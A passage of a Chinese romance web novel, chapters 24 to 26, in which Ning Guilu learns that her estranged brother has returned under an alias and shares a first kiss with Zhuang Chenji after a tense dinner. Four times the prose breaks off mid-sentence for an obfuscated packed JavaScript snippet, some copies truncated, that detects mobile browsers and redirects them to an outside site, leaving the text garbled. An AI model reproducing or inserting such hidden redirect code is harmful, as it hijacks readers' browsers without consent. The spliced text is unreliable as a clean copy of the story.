她还没想好怎么解释这种仿佛被抓包的场面。少年先落笔,从容起身道:“阿姨好,我们在等朋友,待会儿一块去自习室自习。” 江文娴弯眼轻笑:“爱学习是好的,但也不能只会学习。今天天气这么好,一起去打打球,喝喝咖啡吧。” 宁瑰露险些以为她看出什么了,听她这样开明的话,心才囫囵填回了肚子里。 她又朝宁瑰露招了招手。 宁瑰露放下琴走过去,趴着车窗问:“大伯母,怎么啦?” 江文娴拿出钱包,从包里抽出了一张卡递给宁瑰露,轻声说:“不要光让男孩子付钱。” 她扬着眉梢笑笑,在宁瑰露目瞪口呆的神情里叮嘱:“好好玩去吧。” 迄今为止。 她也没问过大伯母当年是不是早看出什么了。 她觉得她大抵是知道的。 那场毕业典礼,江文娴是受邀领导,而她是借摄影之名,偷偷跑去观礼的逃课生。 少年一首钢琴曲震惊四座,会馆里一时震撼得鸦雀无声。 看见他那样闪耀,她那样开心,甚至什么都顾不上了,站在舞台下方,第一个将手举过头顶,高声鼓掌。沉寂被打破,紧接着,掌声如海浪般一阵接一阵汹涌起来。 原本应该从后台下场的演奏者鞠了一躬,当着众人面,从舞台上跃了下来。 那样沉稳的少年,做出了那样孩子气的举动,引起一片惊呼。 他径直走到她面前,仓促问她:“你怎么来了?” “别装了!你爸爸在附小,他根本没来你这里!”她扬起脸,那样执拗且心疼地看着他。 那天也是他同父异母弟弟的小学毕业典礼。他还轻描淡写和她说,他父亲会来。可是他爸爸根本没来。 他弟弟发的照片里,是一家三口。 而他呢? 他呢? 他作为优秀学生代表发言,念着感谢父母的稿子,却看不见台下有一个亲人在…… 想到这,她再没办法安之若素。 她说:“你爸爸不来,我来。” 他抬手,扣指,在她额头上弹了一下。 “疼!你干吗弹我!” 他无可奈何地看着她。 她反应过来,发觉刚刚自己说的话带点歧义,捂着额头傻笑:“嘿嘿,我不是那意思。” 会场内看热闹不嫌事大的高中生们集体起哄。他不在乎那些声音,公然拉着她手腕要走。 宁瑰露跟着一转身,余光却扫见了人群簇拥中的江文娴。 她在看着她。 像被当头浇了一壶开水,她“唰”地抽回手臂,几乎是从他身侧弹开。 他错愕地站在原地。 她咬咬牙,当机立断跑了过去,脸上挂着孩子气的笑容:“大伯母,您怎么也来了?” 江文娴好笑道:“这话不应该我问你吗?” “我是摄影志愿者。”她举了举挂在胸前的相机。 江文娴在教育界干了这么多年,哪能不知道她在搞什么鬼:“宁宁,你也要中考了,还是要把心思放在学习上。小庄那么优秀,免试保送了,你可不能连十四中都进不了。” 宁瑰露感觉她话里有话,像是敲打,但又不敢深想。 那时候还小,一点儿事都感觉像天塌了,后背起了一身冷汗,脸上维持着生涩的不动声色,伶俐道:“您不能对我这么没信心啊!我怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037409|135645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么说也是年级前十呢!” “你呀你,又是小提琴又是摄影……一个人哪分得出那么多心思呢?现在是关键时期,把浮躁收起来,分清主次,能拿个状元回来才是真能耐。”江文娴摇头。 宁瑰露一听这些话就头疼,讨好卖乖了几句就想跑,一回头,却发现刚刚还站在她身后的人已经不见了。 她茫然地站了一会儿,江文娴捏住了她肩膀:“典礼就要结束了,别乱跑了,待会跟我一块回家。” 环顾半圈,却也没再能找到那个身影。 她悻悻又心虚,只能低着头踢了踢鞋尖:“噢。” “宁小姐、宁小姐?”身侧的人提醒,“绿灯了。” 宁瑰露倏地回神,踩下了油门,“不好意思,今天有点感冒,刚刚走神了。” “感冒了?有吃药吗?” “早上在家喝了杯感冒药。” 李骧关心道:“待会到医院了,再开点药拿回去吧。现在是换季,冷寒交替的,有备无患。” 她无有不可:“行。” 工作日,医院依然人满为患。 他们的车缓慢进了医院,停在内部车位上。 李骧带她挂了号,找值班的朋友开了个处方拿药。 他熟门熟路,也不用多跑,走一圈就把药拿齐了。 临走前,李骧又叮嘱她:“药不能滥用,感冒主要还是靠自身抵抗力,感觉好些了,就可以不用再吃了。” “行,谢谢了,下次来再来看你,我下午还得上班,先走了。” 李骧听出她是习以为常地客套,好笑道:“那我这里还是不欢迎你下次光临了。” 她拍拍额头笑了一下,“不用送我了,我坐电梯下去,你回办公室吧。” “好。” 这样说着,李骧还是陪她等到电梯来了,目送她走了才离开。 宁瑰露中午吃饭挂了三电话,出了电梯才打回去:“刚刚和家里人在吃饭,怎么了?” “我给你发消息你怎么不回啊?”电话那头是陈芮倩抱怨的声音。 “我电话都没空接呢,哪来的时间看消息。”她拿出车钥匙往停车场走去。 陈芮倩说:“我这可是重磅新闻啊!” “直说,别卖关子。” “宁江艇回京市了!” 她脚步猛地一拧,像听见惊雷震落,脸色难看得吓人:“什么时候的事?” “今天上午二十几家公司在京市开网络安全联合大会,我呢,也去了,说真的,我差点没认出他……” “宁江艇现在在哪?” 她打断陈芮倩的连篇累牍,直奔关键。 “别急啊,我就猜到你肯定不知道,你哥应该是公事来京,他现在都不叫宁江艇,叫什么…什么,傅立行?还是一家上市公司技术顾问,我都懵了!不知道什么情况啊,所以我没敢跟他打招呼,但是我肯定没认错,他走路的姿势,喝水的姿势,都和以前一模一样!” 宁瑰露加快的步伐骤然一停,压沉了声音:“行了,今天的事烂在你肚子里,别再和其他人说。” “我知道,就是怕隔墙有耳,所以我这不是都没直接给你发消息吗。” “电话里说也不行!” “不至于这么草木皆兵,就是天网也不可能监控我打电话说了什么吧!” 陈芮倩抱怨完,又继续道:“还有一桩事啊,我也是听业内传闻,庄谌霁很可能是要回京市定居了,在东二环全款买了套一个多亿的房产。擦!老娘仇富了!” 宁瑰露无语片刻,无力道:“陈芮倩,我真服你了,去干狗仔吧。卓伟也没你消息灵通!” “什么狗仔,瞧不起谁呢,这不是八卦,这是信息差!我们搞金融的能钱生钱,赚的就是信息差,你这种韭菜根本不懂信息差的重要性!” 话锋一转,她露出此回真面目:“那什么,上回说错话的事还没跟庄总当面道歉,他不一定卖我面子,但肯定卖你面子,你有时间帮我牵牵线,引荐引荐呗。” “干什么?空手套肥羊?” “对啊,肥水不流外人田。任务交给你了啊,别不当回事啊,不然小心我这大嘴巴,一个不小心就把你哥的事说漏嘴了……” “你在威胁我?” 陈芮倩不觉无耻:“怎么,这招没用啊?” 宁瑰露直接撂了她电话。 陈芮倩倒不担心宁瑰露真和她掰了。利益同盟比友谊更坚固。 俩家是世交,关系盘根错杂,她俩又从小狼狈为奸,互握着不少把柄,合则双赢,分则两败。在商言商,适当利用点人脉,没什么可耻的。 挂了电话,宁瑰露搜了陈芮倩说的网络安全大会举办地点,径直开了车过去。 车开出医院辅道,和一辆京C牌照的黑色林肯擦身而过。 车内,男人闭着眼呼吸沉重。 助理回头看他,不掩担忧:“庄总,您这剂量用得越来越重了,这样下去恐怕身体也是扛不住的,要不要考虑去国外……” “不用。”他睁开眼,除去脸色苍白,眼底仍平静,“我有自己的安排。身体,我会注意。” 助理叹口气,无可奈何。 他从和庄总合作开始,就知道对方有严重的焦虑和睡眠障碍,而这短短一年,已经从晚上睡不着,发展到白天也…… 严重影响正常工作和生活了。 做老板的,扛着重压,都难免有点精神上的小毛病,但这样严重的,他还是第一次见。 他也不得不做好两手准备,万一……他是说万一,他得提前找好下家才行。 24. 第二十四章 车已经开至半路,就快要到会议地点了,车速却越来越慢。 就在导航提示“前方200米右拐,即将到达目的地”的时刻,宁瑰露闭了闭眼睛,缓缓吐出了一口郁气。 车没有转,笔直开过路口,导航仍然兢兢业业:“您已偏航,已为您重新规划路线,请在合适的位置掉头。” “……掉头。请掉头。” “您已偏航,已为您重新规划路线,请在……” 她在双向道掉头,却不是朝着原目的地,而是背道相驰。 清瘦的脸颊绷得很紧,露出一块凸起硬质的脸颊肌。如果此刻有人坐在副驾驶的位置,就会看见她手指紧得几乎青筋绷起。 极力压制着暴戾的情绪。 宁江艇…… 宁江艇—— ——你这些年,到底在做什么? ——你为什么不回家? ——为什么不联系我们? 太多疑问堵在她胸口,她甚至想不顾一切地冲到他面前,像小时候那样,劈头盖脸地和他吵一架,揍他一顿,或者随便发泄点什么,总之,他会收场的,她弄坏的、搞砸的一切,他都会收场的。 可不能。 她不是那个十来岁还能任性的小姑娘,他也不再仅仅是宁瑰露的“哥哥”。 或许是进行什么秘密任务,又或许有什么其他的缘由或苦衷,总之,都是为了大局,大局。 呵——大局! 老爷子已经八十九了,还跟他熬得起几个大局? 他就不怕外婆的悲剧重演吗?! 黑色轿车在桥梁上高速飞驰,在导航多次“您已超速”的尖锐提醒下,她才慢慢慢慢地克制着将车速缓缓减慢。 下了桥,她将车停在路边,拿起手机关了叫了一路的导航,拉开微信,点开宁江艇的微信头像,点进聊天框,咬牙切齿地发出去一句:“宁江艇,你没死就滚回家来!” 她点开头像,点进资料设置,设置“加入黑名单”。 ——“加入黑名单,你将不再收到对方的消息” ——“取消/确定” ——“确定” 做完这一切,她以为心里就应该报复式的轻快了。 可胸口仍重得像坠了千斤重的铁。 他多狼心狗肺啊,一毕业就高飞远走,什么都抛之脑后。 杳无音讯得像从来没有在地球上出现过。 你不在意了,是吗?那我也不在意你了! 去他的!都去他的! 她以为自己已经长成一个大人了。可听见宁江艇回京市的消息那一刻,她却惶然得想哭。 他怎么能,怎么能静悄悄地回来,却不打算和家里人见一面,就想那么悄无声息地来,又悄无声息地走? 宁江艇,你到底有什么苦衷? 有什么是家人不能帮你的吗? 为什么要一个人在外漂泊呢? 为什么不回家呢? 相隔四条车道,一辆银白色的辉腾停在路边。 坐在后座的男人利落的短发尽数向后梳,鼻梁上夹着一副银白边框的眼镜。他靠着座椅,一双锐利的眼眸穿透车窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049963|135645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,越过四行车道,紧盯对面骤停的黑车。 “傅先生,老板让您不要在京市久留,办完事就回去,和智网那边的合作还得由您坐镇。”驾驶室的保镖掩着话筒回头低声转述。他普通话不怎么流利,一段话平仄说得四仰八叉,听着带点盖不住的外国人口音。 “告诉李贲,老子是和他合作,不是给他做狗。老子通知他,不是跟他打商量!” 他一开口,那斯文败类的精英气质荡然无存,阴鸷的眉高挑,神情冷峻刻薄且桀骜。 保镖夹在中间左右难为,先回避他犀利的目光,低声同电话那头道:“李总……傅先生刚刚就是这么说的。” “好的,好的,我一定注意。” 他长松口气,挂了电话转告:“傅先生,李总说您可以在京市多玩两天,一概消费都由李总埋单,但月底之前,务必回南岛。” “行了,当狗还当出护主精神了!”他冷嗤一声,目光最后从那辆车上平淡掠过,干脆果决道,“开车!” 保镖发动了车,忽然反应过来,又踩了脚刹,差点咬着舌头:“傅先生,您刚刚就说一直往前开,开这么久了,到底是要开哪去啊?” 他不耐烦:“我没说吗?” “您……没说。” “去黄澳镇那家地下赌场,这回听清了吗?” 保镖:“……” 你说了?我聋了? 我看有问题的不是我的耳朵,是您的脑子。 银白色辉腾汇入车流之中。黑色吉利过了很久才起步。 开往同一条道路。 25. 第二十五章 宁瑰露再见到庄谌霁,距离上次不欢而散相隔七天整。 地点约在饭店。 包间门敞开,一侧是半透明的水晶砖和水池,淌着水幕,水声哗响,淅淅沥沥地滋润着干燥的空气。 她听见了他走来的声音。 过道脚步声冗杂,缘由不明,她能轻易从中分辨出哪一阵是他的步伐。 硬质的皮鞋踩在松软的地毯上,声音不够清脆,平缓、沉稳。 透过那面墙,还能看见他的身形,影影绰绰,像一段模糊过的马赛克。 光影一亮又一暗,他的身形出现在门口。 他是只身一人来的,身边没有带着他那诸多拥趸。 包间里却不止宁瑰露一个人。 她坐在圆桌右侧,掌心盖着桌上的小茶杯,拇指转动着杯身,是个有些萧索无聊的姿态。 尽管嘴角噙着笑,但从她漫不经心在室内游离的眼神来看,她已经有些不大耐烦了。 看见他,她提了下手腕,抬手一摆,像是说“你来了”,也像说“我在这”。 这样懒散的姿态,她做来总是浑然天成,叫人说不出她什么不对。 庄谌霁脚步一定,已经看出来,这场饭局是“鸿门宴”。 陈芮倩想约他见面,他知晓,也是他推的,但此刻他还是坐到了对方面前。 所有人都清楚他的软肋。他的遮掩不过掩耳盗铃。在宁瑰露面前,他连妥协都算不上,叫上赶着。 陈芮倩带着秘书和项目书。四个人的饭局,以她为主导,围绕着一级市场投资、保险资管多方位洽谈。 一场饭局都是她在滔滔不绝商议合作,使出浑身解数,口才实在了得。 一向什么都能聊上两句的宁瑰露却难得的话少。 他并不想将对她的关注表现得过度明显,但思绪游离,余光总在回神时才发觉已落在她身上。 她今天心情不太好。 她盛了三碗饭了。 她不爱吃鲶鱼。 她吃饱了。 宁瑰露感觉肚子要撑炸了。这会儿靠着椅背,发饭呆,精神游离。 陈芮倩订了最贵的饭局,还专门拎了两瓶珍藏的匈牙利托卡伊来,亲自启开酒瓶。 可庄总不卖她面子,说最近在吃药,不喝酒。 这个托词都已经被用烂了。 但不是无用。 说这话的人是甲方时就有用。 陈芮倩能和宁瑰露玩到一块是有道理的。俩人都是看着不拘小节,特随性大方,但上一秒笑嘻嘻,下一秒也能立刻翻脸。 他们这样家庭出来的,纵使家教拘着,看起来待人客气,心气还在那,也有随时掀桌子的底气。 这要放以前,被这么下面子,她叼都不会再叼庄谌霁一眼。但进了社会游历一遭,发现家世、父母,都只是一张标签,肚子里没装点真材实料,在别人眼里也就一草包,不过别人把瞧不起藏得更深了点。 圈子里抬头不见低头见的,为前程计,做人做事总还要留余地。 她心里躁动的火按捺下去,笑呵呵道:“吃药?庄总是最近身体不舒服吗?” “胃痛,老毛病。”他的回答轻描淡写。 宁瑰露拿起茶杯抿了一口,目光若有所思地落在他身上。 “胃疼啊,吃了胃药确实不好喝酒。那这样吧庄总,我酒都拎来了,待会我给您放车里去。” “今天没带司机,下次。” 他的回绝像软刀子,又不留情面。 陈芮倩的脸面被一下再下,脸色已经有点难看了。 宁瑰露突然出声,不知是给谁解围,“你现在住哪?酒店,还是家?” “酒店。”他慢慢回答。 她一笑:“你司机就把你这一老板扔这了?那你待会怎么回去?” 庄谌霁好整以暇地看着她:“你不是有车吗?” “我那小破吉利哪载得了你这么金贵的大老板。”她推脱。 庄谌霁不说话了,就这么看着她。 陈芮倩隐隐约约感觉出了点什么,八卦的耳朵高竖了起来。 陈芮倩的秘书不明所以,也盯着她看。 三个人六只眼睛就这么齐刷刷地照着她。宁瑰露差点呛着,“行了,别看了,我送还不行吗?” 走出饭店时,陈芮倩拉着宁瑰露嘀咕:“怎么回事?你俩又吵架了?不能吧,上次我看你俩还那样那样呢。” “什么那样那样!那是他喝多了,我扶他一把!”宁瑰露嘴角微微抽搐。 “喝多了?骗鬼呢,他酒都不沾。” “醒醒,人家那是不想和你喝。” 陈芮倩:“……滚蛋!” 损友话不投机半句多。陈芮倩快走两步迎上去:“庄总,庄总我送您上车,今天跟您说的那个项目,您再考虑一下,条件都好商量,就是时间紧,我们争取能早日正式洽谈……” 宁瑰露又给他做了司机。 从饭店开到他落脚的酒店,不远,五公里不到的距离。但正是晚高峰,五百米的距离也能堵大半个小时,导航带的还正正好是最堵的一条路。 宁瑰露放下车窗,车外是世俗人间,车内是一场默片。 “听说你要搬回京市了?”她先开口,声音轻淡,听起来只是随意找个能聊的话题。 “嗯。” 他简单一声,似乎没什么往下聊的兴致。 他们之间有一种近乎凝滞的氛围,提什么都不合适,说什么都显得有些无话可说。 他从前也是这样。 她那时候怎么没有觉得他这么无趣呢? 车道前进了些,旁边车道的车想并入进来,宁瑰露不让,一脚油门往前怼了上去,旁边那辆想拐道的车不尴不尬地被卡在了单黄虚线上。 “不着急,慢点开。”他看她一眼。 宁瑰露觉得今晚格外燥闷,又关了车窗,把车内空调打开。空调太久没开过了,带出些潮闷的味道。她又把窗户打开。 反反复复,像很不自在所以装得很忙。 他阖上了眼睛。 路堵得让人心烦。她掰开手盒又想拿烟,手指摸着了烟才想起来一座瘟神还在旁边。 她扭头看了他一眼。 他闭目养神,不知道是睡着了,还是装睡。 哎,烦。 她现在又开始后悔送他回酒店了。交通堵得烦人,车里也尴尬得烦人。 五公里的路硬生生堵了一个半小时,车好不容易开到酒店地下停车场,想到还要开回去,宁瑰露彻底没了脾气。 车停了,坐在副驾驶的人仍没反应。 她想叫他。手都伸到了一半,又悻悻作罢。 算了,等他睡醒吧。怎么说今天也还欠他个人情。 车里潮热。她放下驾驶室的玻璃,下了车。 车门“嗒”一声关上。这样响,他还没有醒。 昨晚做什么偷鸡摸狗的事去了? 她隔着车窗打量他几眼。 庄谌霁是在别的车开过来,压过减速带,哐地震了一声时醒过来的。 驾驶位已经没人了。他有点茫然地直起身看了一圈,在远处几个硕大的绿色垃圾桶旁边看见了闭眼都能描摹出的人影。 她穿着一件浅蓝色的短袖衬衫,一条黑色西装面料的长裤,瞧着应该是夏季工装。微长的头发扎了个松散的丸子,倚着垃圾桶旁边的柱子,也不嫌脏,和垃圾箱就这么并立着,一口接一口地抽着烟。 他微微眯着眼睛,才看清她的神情。 她眉头紧拧着,是有心事。 他解开安全带,推门下车,语气平和又带着不容忽视的力量,低沉道:“宁瑰露!” 她一惊,手忙脚乱地掐了烟。又低头闻闻手背,很是欲盖弥彰。 她轻咳一声,跟他隔着五十米的距离,微微扬声:“我送到了,你自己上去吧。” 他一抬手腕,关了车门,朝她走了过来。 宁瑰露警铃大作,侧过身,猫逮老鼠般往后接连退了几步:“你干吗?” “你躲什么?”他停在原地。 宁瑰露胡诌:“我腿坐麻了,随便走走,呼吸呼吸空气。” “在垃圾桶旁边呼吸?” “哎,对,我就喜欢闻这个味。” 世界上最硬的东西不是金刚石,是她的嘴。 庄谌霁没追她了。三十来岁的两个人了,还在停车场追来追去,不嫌幼稚。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080180|135645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他回了车上,拉开副驾驶的门,坐了回去。 宁瑰露:“……” 她气急败坏,走了回来,敲了敲副驾驶车窗,瞪着他:“几个意思?” 他语气特平静,好像刚刚要逮她的那个人不是他:“上来,聊聊。” 宁瑰露纳罕了,从车前边绕回驾驶室,甩上了门,道:“行,想聊什么?” 安静了好一会儿,他挑了一句,思量着,似乎很虚心请教地问:“好抽吗?” “你真没抽过?”宁瑰露不怎么信。 “你看我像抽过吗?” 她打量着他坦荡的目光。 是不像。 “烟呢?”他向她伸手。 她一抬手,将烟盒扔给了他。 一包烟而已,扔就扔了,大不了再买一盒。 他打开了烟盒,从里抽了一根,在宁瑰露还怔愣的时候抬了抬下颌,“火机。” “真行。”宁瑰露乐了,掏出打火机,凑过身给他点上了烟。 他拿烟的姿势不算生疏,如果不是抽过,至少证明学习能力不错。 他抿了一口,烟雾从唇齿间溢出,过了没几秒,他不可遏制地轻咳了两声。 宁瑰露这会儿就像学生时代教人抽烟的坏孩子,还是老烟民那一挂的,自己又拨了一根烟出来,松散道:“这么抽。” 她唇抿着烟蒂,深吸一口,烟过肺,又从鼻腔里吐出。 飘渺的烟雾扑了他满脸。 他晦暗的眸光在她脸庞和颈项的轮廓上轻轻掠过,随后锁定在她那略显干燥的唇瓣上,喉结不自觉地滚动了一下。 他垂眼,试着和她一样将烟雾吞下。这对新手而言显然太超纲了,一口烟呛出来,他扭开头,朝着窗外咳得激烈。 她指间夹着烟,乐得不行,笑得肩膀一个劲地抖。 “我没尝出这有个什么好抽的。”他按开了她的车内烟灰缸,将那一长截的烟按在了不锈钢里。 她瞥了眼被他濡湿的烟蒂,颇好为人师地道:“别用舌头舔,抿着。” 她张唇,鼻翼未吸,喷出了两口烟雾。 他看着她的目光沉凝未动。 宁瑰露反手将自己的烟递到了他唇边:“耐心点,我教你。” 声音温柔沙哑,纯粹是蛊惑。 他眼睑低垂,盯着她的手指。她手指长,指甲修剪得齐整,干干净净,瘦削的手背可见清晰的青筋和肌腱,再近一点,指节就要抵到他的下巴了。 他低头,抿住了,她抽过的烟。 她抬起食指,敲了敲他的鼻翼,“吸气。” “吐出来。” 他抬起眼睛看她,清冷的眼睛,神情冷静、理性,却又那样糜烂地抽着她的烟。 车内烟雾弥满,本就不算明亮的光线越发晦涩不明。 她喉咙动了动,似乎是进行了一个吞咽的动作。 他俯身,骤然拉近了和她的距离。 她的手指不得不往回收,带出了他唇间的烟。 火光明灭,烟雾缭绕。 “做什么?” 她皱眉,却没躲闪,视线甚至是习以为常地轻佻地从他眉眼顺着鼻梁往下滑,扫过唇,堪堪收束在他光洁的下颌处。 复又艰难撕开下心猿意马的目光,盯回他眼睛。 “你利用我,我是不是应该收点报酬?”他说。 流逝的光阴令他骨相越发分明,曾经干净清澈的眼睛如今深邃如潭,装着不辨喜怒的情绪。 “我什么时候利用你了?” 她端得不动声色。 他并不被她带着走,过了烟的嗓子格外低哑:“你不是爱管闲事的人,陈芮倩和你做了什么交易?” 顿了顿,他又慢慢道:“或者说,你被她抓住了什么把柄?” “笑话,我能有什么把柄……” 他猛地靠近,温热的指腹几乎要灼穿她的肌肤,压住了她右侧嘴角的笑,分明抽的是同一支烟,车内却有两种截然不同的烟味缠绕,大举向她进犯。他深邃的眼睛充满警告,“你撒谎的时候就喜欢翘着一边嘴角笑,看起来坦诚,其实憋了一肚子鬼话。” 宁瑰露:“……” 该死的,怎么这他也知道! 26. 第二十六章 他的吻很轻,起初只是附着在她唇上,发觉她并没有抗拒,才尝试着探进。 大脑短暂断片,无法估量出准确的掉线时间,总之眼前一片空白光点,像电源线短路。 神智回笼。她眼睛轻颤,看见了他的神情。 眉宇拧出了川壑,眼睑在颤。明明是他强吻她,却好像悲伤得要落泪了。 她叹了口气。 推开他?大喝一声你做什么? 那不是她的行事风格。她不拒绝自己送上门的美色。 没有躲闪,反而抬颌附着他不得其法的唇,一只手握住了他桎梏着她下巴的手,另一只手扣上了他的后脑勺,轻轻揉着,仿佛安抚。 她张唇,伸出舌尖在他唇缝打转,耐心而温柔地撬开他的唇,教他应该怎样吻。 烟草的气息大举入侵,将他唇齿内漱口水残留的薄荷味席卷一空。 他的唇在颤,舌尖也在颤,像只猫,初次被带入新世界,懵懵的,什么都跟着她走,有时失重感太强,想躲,微一瑟缩,又强忍着配合。 真可爱啊。 怎么这么可爱呢? 她探过身,几乎要将他按在车门上了。手指揉捏,气息交缠,他无法自控吞咽行为的喉结,水声,急促的呼吸声,颓靡荒诞。 他握着她下颌的手是什么时候转而紧紧扣着她手指的,他们都没有察觉。 相握的掌心烫得快要焚骨燃烧了。 烟已经灼到了尾巴,烫了她指节一下。她放下夹着烟还控着他后脑勺的手指,相吻、激烈缠绵的唇却没有分开的意思。 她想将烟按灭在岛台上,他却以为她要走,紧紧地、匆忙地扣住她的手,几乎要将她手指攥断了。 他太青涩,成功取悦了她。 她容忍他的失控,收回舌尖,安抚地啄了啄他的唇,示意不是要分开。 他太没有安全感,唯一一次、这是仅有的一次、也是第一次吻,他惶然地想靠近、挽留。 一抬手,他的胳膊擦在了滚烫的烟头上。 宁瑰露惊得顾不上其他,手指一松,落了烟头。想去看他伤口,他却誓不罢休,松开攥她手指的手,宽大修长的手掌扶住了她的肩膀,不给她后退的机会。 “等……等……” 她仰脖想往后退。他撞了上来,唇齿相碰,几乎撞出腥味。 她用手捧了捧他薄削的脸颊,拇指安抚地摩挲着,用力地回吻他。他唇上破痕被她吻得裂开来,血味肆意。 她知道他迫切地想要一个激烈的吻来确认。他没有一点经验,不会换气,吻得急了吞下口水呛得低咳,依据本能的不退让。 感觉他索吻的力度轻了,她艰难地撕扯开他的吻,握着他手腕向上举,另一只手按开了顶光,扭头看他被烫的手臂。 他皮肤白,从前就白,被烟头烫得那一下更加刺眼了,不是淡粉,粉得发红,显然烫得狠了,待会就该起水泡,过几天得长瘢痕了。 “操……” 她没忍住低骂了一声。 “没事。” 他轻轻地说,声音还发颤低哑。 她看他脸。顶光下,一切无所遁形。他唇也破了口,这一会儿已溢出了血丝,唇被她吻得嫣红发肿,那双一贯淡漠的眼睛里染上了殊色,艳丽得像昙花开了。 她拇指摩挲了下伤疤,他不自觉地抖了一下。 宁瑰露放下了他的手,坐回了驾驶位,发动车道:“先去找个药店买烫伤膏。” “不要紧。” 他伸手,紧紧握住了她搭在方向盘上的手指。 “真疯了。”她低骂了声,不知道是说他还是说自己。 但他显然对号入座,握着她手背的手徒然滑到了她手腕,力道也轻了。 他唇翕张了几次,也没能说出那句“对不起”。 谁都知道“如果对不起有用,还要警察做什么”? “不是说你。” 察觉了他情绪骤然跌落,发动了车的同时,她把着方向盘的手回握了他手背一下,给他以确认。 他又勾住了她的拇指。 宁瑰露扭头笑笑:“你这样我没法开车。” “不用买药。” “现在你说了不算。”她拍了拍他手背后,重新将手心搭回了方向盘上。 车又开出了地库,顺着长街找药店。路道旁的灯亮憧憧的,却令他更觉得这像是一场梦。 随时踩空,就会醒来的梦。 药店不难找,开了没多远就出现了一家。 他唇上有伤,不方便示人。 宁瑰露交代他在车里等她,先行下车去买药了。 他想跟着下车,可手搭在了把手上,又犹豫了。 他怕推开的一瞬间梦就醒了。 这是这么多年里,做过最真实的梦。 她的处理果决,不拖泥带水,看着很是游刃有余。 然而站在药店炽光灯下那一刻,她脑子里有几个念头才一闪而过。 怎么就没把控住呢? 以后怎么办呢? 还怎么相处? 还能做朋友吗? 不用对方回答,她都知道不可能。 如果说学生时代是一段无足轻重的小插曲、小暧昧,心照不宣能遮掩过去。 那现在呢? 虽然主动的人是他,但反主为客的人是她,谁也怪不着谁。 “你好,要买什么药?” “麻烦拿点烫伤药,要最好的。” 她和店员道。 “烫伤膏在这边。 “我们这种烫伤膏是最好的,有抗菌药物,还有硅酮凝胶,能起到保湿降温软化瘢痕的作用。” 店员拿着货架最显眼处的烫伤膏,翻过成分表给她看。 宁瑰露有些走神,目光透过玻璃窗和夜色,落在车窗内端坐着的人影上。 他盯着车前,没有举动。 不知道他此刻在想什么。 是在和她一样后悔一时脑热,还是在考虑未来。 未来? 超过一个月的事她从来不考虑。人没办法事事算尽的。与其对结局失望,倒不如一开始就接受一切结果。 “……还有这种药,贵一点,不过也卖得挺好的。” “行。”她回过神,“什么消炎的,祛疤的,你都给我拿上一支。” “烫得很严重吗?”药师问。 她想了想。其实就一个烟头小点,要是落在她身上,她倒不觉得多严重,冷水冲冲就完事了。但烙在他那白皙无瑕的皮肤上,叫人难以忽视。 “挺严重的。”她说。 宁瑰露去药店打了个转,拎着一大袋子药膏回了车上,单捡出一支药膏,又按亮了车顶灯,道:“手给我。” “没事,我回去再弄。”他说。 宁瑰露啧一声,“别磨蹭,赶紧的。” 他盯着她不耐烦的眼神看了看,支起了胳膊。 她挤出药膏抹在指腹上,在他小臂上抹开。 “疼吗?”她看他神情。 “不疼。” 他平和说。 “希望别留疤,不然我可罪孽深重了。”她叹气。 “就当吃个教训。”他收回胳膊,又握住了她的手指,“以后少抽烟,行吗?” 那一吻,仿佛打开了什么潘多拉魔盒。 正常情况下,对抽烟件事他的态度是毫无转圜余地的。可他突然转变了,好像明白了堵不如疏的道理。 又或者,终于承认她已经是一个有独立行为能力的成年人了。 “行。” 我以后在你面前尽量少抽。 她在心里嘀咕着补了句。 她又翻了翻袋子,从里面找出一支芦荟舒痕凝胶,凑过脸看了看他唇上的伤疤。挤了蚕豆大一点,抹在了他唇上的破口上。 他那样一动不动地任由她处理,深邃的眼睛紧盯着她,像要把这一幕用刀死死刻进心里。 给他抹了药,她总算放心,将药都放他身上,坐回驾驶室。 她开动车,交代:“回去洗了澡,就再抹一遍药,不然会起水泡的。” 车这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114701|135645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次没有再开进地下停车场。 她停在了酒店大门外,又叮嘱:“要是伤口感染了,打电话和我说。” 他盯着她看了好一会儿。 